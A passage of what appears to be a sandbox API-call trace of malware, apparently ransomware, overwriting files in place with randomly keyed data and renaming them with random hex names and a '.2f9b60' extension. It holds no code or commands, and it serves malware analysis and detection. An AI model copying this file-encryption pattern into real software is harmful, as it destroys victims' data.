Flags=0x8, Size=0x26) returned 0x202624e0 [0233.777] SetFilePointerEx (in: hFile=0x16a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.777] WriteFile (in: hFile=0x16a4, lpBuffer=0x42c155f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ffefa70, lpOverlapped=0x0 | out: lpBuffer=0x42c155f0*, lpNumberOfBytesWritten=0x2ffefa70*=0x10a, lpOverlapped=0x0) returned 1 [0235.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618b0 [0235.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618b0) returned 1 [0235.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618b0 [0235.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f80 [0235.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f80) returned 1 [0235.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad320 [0235.911] sprintf (in: _Dest=0x431ad320, _Format="%c%c" | out: _Dest="5f") returned 2 [0235.911] sprintf (in: _Dest=0x431ad322, _Format="%c%c" | out: _Dest="5e") returned 2 [0235.911] sprintf (in: _Dest=0x431ad324, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.911] sprintf (in: _Dest=0x431ad326, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.911] sprintf (in: _Dest=0x431ad328, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.911] sprintf (in: _Dest=0x431ad32a, _Format="%c%c" | out: _Dest="93") returned 2 [0235.911] sprintf (in: _Dest=0x431ad32c, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.911] sprintf (in: _Dest=0x431ad32e, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.911] sprintf (in: _Dest=0x431ad330, _Format="%c%c" | out: _Dest="f6") returned 2 [0235.911] sprintf (in: _Dest=0x431ad332, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.911] sprintf (in: _Dest=0x431ad334, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.911] sprintf (in: _Dest=0x431ad336, _Format="%c%c" | out: _Dest="68") returned 2 [0235.912] sprintf (in: _Dest=0x431ad338, _Format="%c%c" | out: _Dest="d3") returned 2 [0235.912] sprintf (in: _Dest=0x431ad33a, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.912] sprintf (in: _Dest=0x431ad33c, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.912] sprintf (in: _Dest=0x431ad33e, _Format="%c%c" | out: _Dest="1c") returned 2 [0235.912] sprintf (in: _Dest=0x431ad340, _Format="%c%c" | out: _Dest="8a") returned 2 [0235.912] sprintf (in: _Dest=0x431ad342, _Format="%c%c" | out: _Dest="47") returned 2 [0235.912] sprintf (in: _Dest=0x431ad344, _Format="%c%c" | out: _Dest="20") returned 2 [0235.912] sprintf (in: _Dest=0x431ad346, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.912] sprintf (in: _Dest=0x431ad348, _Format="%c%c" | out: _Dest="03") returned 2 [0235.912] sprintf (in: _Dest=0x431ad34a, _Format="%c%c" | out: _Dest="16") returned 2 [0235.912] sprintf (in: _Dest=0x431ad34c, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.912] sprintf (in: _Dest=0x431ad34e, _Format="%c%c" | out: _Dest="67") returned 2 [0235.912] RtlInitAnsiString (in: DestinationString=0x2ffefae8, SourceString="5f5efaa1b493b92ef6f85d68d34fbb1c8a47209b0316d467" | out: DestinationString="5f5efaa1b493b92ef6f85d68d34fbb1c8a47209b0316d467") [0235.912] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ffefab8, SourceString="5f5efaa1b493b92ef6f85d68d34fbb1c8a47209b0316d467", AllocateDestinationString=1 | out: DestinationString="5f5efaa1b493b92ef6f85d68d34fbb1c8a47209b0316d467") returned 0x0 [0235.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310e720 [0235.913] wcscat (in: _Dest=0x1ce181e0, _Source="5f5efaa1b493" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5f5efaa1b493") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5f5efaa1b493" [0235.913] wcscat (in: _Dest=0x1ce181e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5f5efaa1b493.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5f5efaa1b493.2f9b60" [0235.913] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5f5efaa1b493.2f9b60", NtPathName=0x2ffefa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\5f5efaa1b493.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205e3f0 Thread: id = 3847 os_tid = 0x2010 [0227.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml")) returned 0x20 [0229.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML", dwFileAttributes=0x20) returned 1 [0229.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x20f8 [0229.348] GetFileSizeEx (in: hFile=0x20f8, lpFileSize=0x3038fd40 | out: lpFileSize=0x3038fd40*=806) returned 1 [0229.348] SetFilePointerEx (in: hFile=0x20f8, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.348] ReadFile (in: hFile=0x20f8, lpBuffer=0x3038fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3038fd08, lpOverlapped=0x0 | out: lpBuffer=0x3038fcc0*, lpNumberOfBytesRead=0x3038fd08*=0x4, lpOverlapped=0x0) returned 1 [0229.351] SetFilePointerEx (in: hFile=0x20f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb47c0 [0229.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3dd0 [0229.353] NtQuerySystemTime (in: CurrentTime=0x3038fc00 | out: CurrentTime=0x3038fc00*=132462178333522000) returned 0x0 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x223e4012 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x223e4012 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x6c543785 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x466620c0 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x31def221 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x76db7c73 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x194177ae [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x1ff7a93 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x733c54f [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x6ffa4d86 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x4a4c2c82 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x5fd3ea07 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x317d167f [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x6ba47c34 [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x568651bf [0229.353] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x5c09616d [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x8685940 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x33cd126b [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x6be6df1b [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x798831cd [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x19f3d30f [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x1245ab95 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x7a051587 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x43198b38 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x5bc2945c [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x584cc2e4 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x41fe3947 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x29422c26 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x7d40e0e5 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x12f4cae4 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x65f97e72 [0229.354] RtlRandomEx (in: Seed=0x3038fbf0 | out: Seed=0x3038fbf0) returned 0x6a8e4049 [0229.362] ReadFile (in: hFile=0x20f8, lpBuffer=0x42dbf4c0, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x3038fbf0, lpOverlapped=0x0 | out: lpBuffer=0x42dbf4c0*, lpNumberOfBytesRead=0x3038fbf0*=0x326, lpOverlapped=0x0) returned 1 [0229.362] SetFilePointerEx (in: hFile=0x20f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.362] WriteFile (in: hFile=0x20f8, lpBuffer=0x42db7ca0*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x3038fbf4, lpOverlapped=0x0 | out: lpBuffer=0x42db7ca0*, lpNumberOfBytesWritten=0x3038fbf4*=0x326, lpOverlapped=0x0) returned 1 [0233.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0233.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0233.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263da0) returned 1 [0233.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42db7ca0) returned 1 [0233.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dbf4c0) returned 1 [0233.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0233.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62dc0) returned 1 [0233.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263da0 [0233.314] SetFilePointerEx (in: hFile=0x20f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.314] WriteFile (in: hFile=0x20f8, lpBuffer=0x42c15dd0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3038fd10, lpOverlapped=0x0 | out: lpBuffer=0x42c15dd0*, lpNumberOfBytesWritten=0x3038fd10*=0x10a, lpOverlapped=0x0) returned 1 [0235.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4760 [0235.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4760) returned 1 [0235.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4760 [0235.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4730 [0235.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4730) returned 1 [0235.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f470 [0235.471] sprintf (in: _Dest=0x1cd9f470, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f472, _Format="%c%c" | out: _Dest="6b") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f474, _Format="%c%c" | out: _Dest="57") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f476, _Format="%c%c" | out: _Dest="79") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f478, _Format="%c%c" | out: _Dest="68") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f47a, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f47c, _Format="%c%c" | out: _Dest="68") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f47e, _Format="%c%c" | out: _Dest="51") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f480, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f482, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f484, _Format="%c%c" | out: _Dest="d3") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f486, _Format="%c%c" | out: _Dest="14") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f488, _Format="%c%c" | out: _Dest="f0") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f48a, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f48c, _Format="%c%c" | out: _Dest="b6") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f48e, _Format="%c%c" | out: _Dest="14") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f490, _Format="%c%c" | out: _Dest="a3") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f492, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f494, _Format="%c%c" | out: _Dest="5f") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f496, _Format="%c%c" | out: _Dest="70") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f498, _Format="%c%c" | out: _Dest="97") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f49a, _Format="%c%c" | out: _Dest="49") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f49c, _Format="%c%c" | out: _Dest="91") returned 2 [0235.471] sprintf (in: _Dest=0x1cd9f49e, _Format="%c%c" | out: _Dest="15") returned 2 [0235.471] RtlInitAnsiString (in: DestinationString=0x3038fd88, SourceString="fb6b577968bb6851fd4dd314f04fb614a3d45f7097499115" | out: DestinationString="fb6b577968bb6851fd4dd314f04fb614a3d45f7097499115") [0235.472] RtlAnsiStringToUnicodeString (in: DestinationString=0x3038fd58, SourceString="fb6b577968bb6851fd4dd314f04fb614a3d45f7097499115", AllocateDestinationString=1 | out: DestinationString="fb6b577968bb6851fd4dd314f04fb614a3d45f7097499115") returned 0x0 [0235.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f050 [0235.472] wcscat (in: _Dest=0x431f5e80, _Source="fb6b577968bb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fb6b577968bb") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fb6b577968bb" [0235.472] wcscat (in: _Dest=0x431f5e80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fb6b577968bb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fb6b577968bb.2f9b60" [0235.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fb6b577968bb.2f9b60", NtPathName=0x3038fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\fb6b577968bb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118540 Thread: id = 3848 os_tid = 0x20d0 [0227.807] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h")) returned 0x2026 [0228.131] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H", dwFileAttributes=0x20) returned 1 [0235.609] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c50 [0235.610] GetFileSizeEx (in: hFile=0x1c50, lpFileSize=0x3015f9a0 | out: lpFileSize=0x3015f9a0*=499482) returned 1 [0235.610] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x79f16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.610] ReadFile (in: hFile=0x1c50, lpBuffer=0x3015f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3015f968, lpOverlapped=0x0 | out: lpBuffer=0x3015f920*, lpNumberOfBytesRead=0x3015f968*=0x4, lpOverlapped=0x0) returned 1 [0236.344] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0236.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f62b0 [0236.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e20 [0236.345] NtQuerySystemTime (in: CurrentTime=0x3015f860 | out: CurrentTime=0x3015f860*=132462178401538000) returned 0x0 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x1249e1c0 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x16b3638f [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x4c881760 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0xbb07d5b [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x61be35e7 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x329cedca [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x2819cfd2 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x57035d6f [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x14ca4407 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x2cbc1676 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x78b0f5e7 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x57dc237c [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x5eb8af8f [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x5d10e906 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x17f6632a [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x63dd79e7 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x3ab276d [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x1168e635 [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x4659cdea [0236.345] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x2192b942 [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x479788b [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x1d73a299 [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x5d2e279c [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0xe4a1103 [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x45fa12cd [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x34fa317e [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x3df73a19 [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x63212490 [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x7a6d17ef [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x6021f4e0 [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x397738f4 [0236.346] RtlRandomEx (in: Seed=0x3015f850 | out: Seed=0x3015f850) returned 0x759dfe93 [0236.354] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.354] ReadFile (in: hFile=0x1c50, lpBuffer=0x41f71d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3015f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41f71d40*, lpNumberOfBytesRead=0x3015f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0237.535] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0237.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0237.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ad0 [0237.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0ad0) returned 1 [0237.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4297cae0 [0237.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ad0 [0237.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3f80 [0237.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3f80) returned 1 [0237.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0237.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0237.539] WriteFile (in: hFile=0x1c50, lpBuffer=0x4297cae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3015f8c0, lpOverlapped=0x0 | out: lpBuffer=0x4297cae0*, lpNumberOfBytesWritten=0x3015f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0241.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4297cae0) returned 1 [0241.052] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.052] ReadFile (in: hFile=0x1c50, lpBuffer=0x41f71d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3015f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41f71d40*, lpNumberOfBytesRead=0x3015f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0241.058] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0241.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0241.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a79a0 [0241.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a79a0) returned 1 [0241.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ff0190 [0241.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a79a0 [0241.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a78b0 [0241.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a78b0) returned 1 [0241.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0241.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0241.062] WriteFile (hFile=0x1c50, lpBuffer=0x42ff0190, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3015f8c0, lpOverlapped=0x0) Thread: id = 3849 os_tid = 0x2174 [0227.809] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d")) returned 0x2026 [0228.131] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D", dwFileAttributes=0x20) returned 1 [0235.612] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: 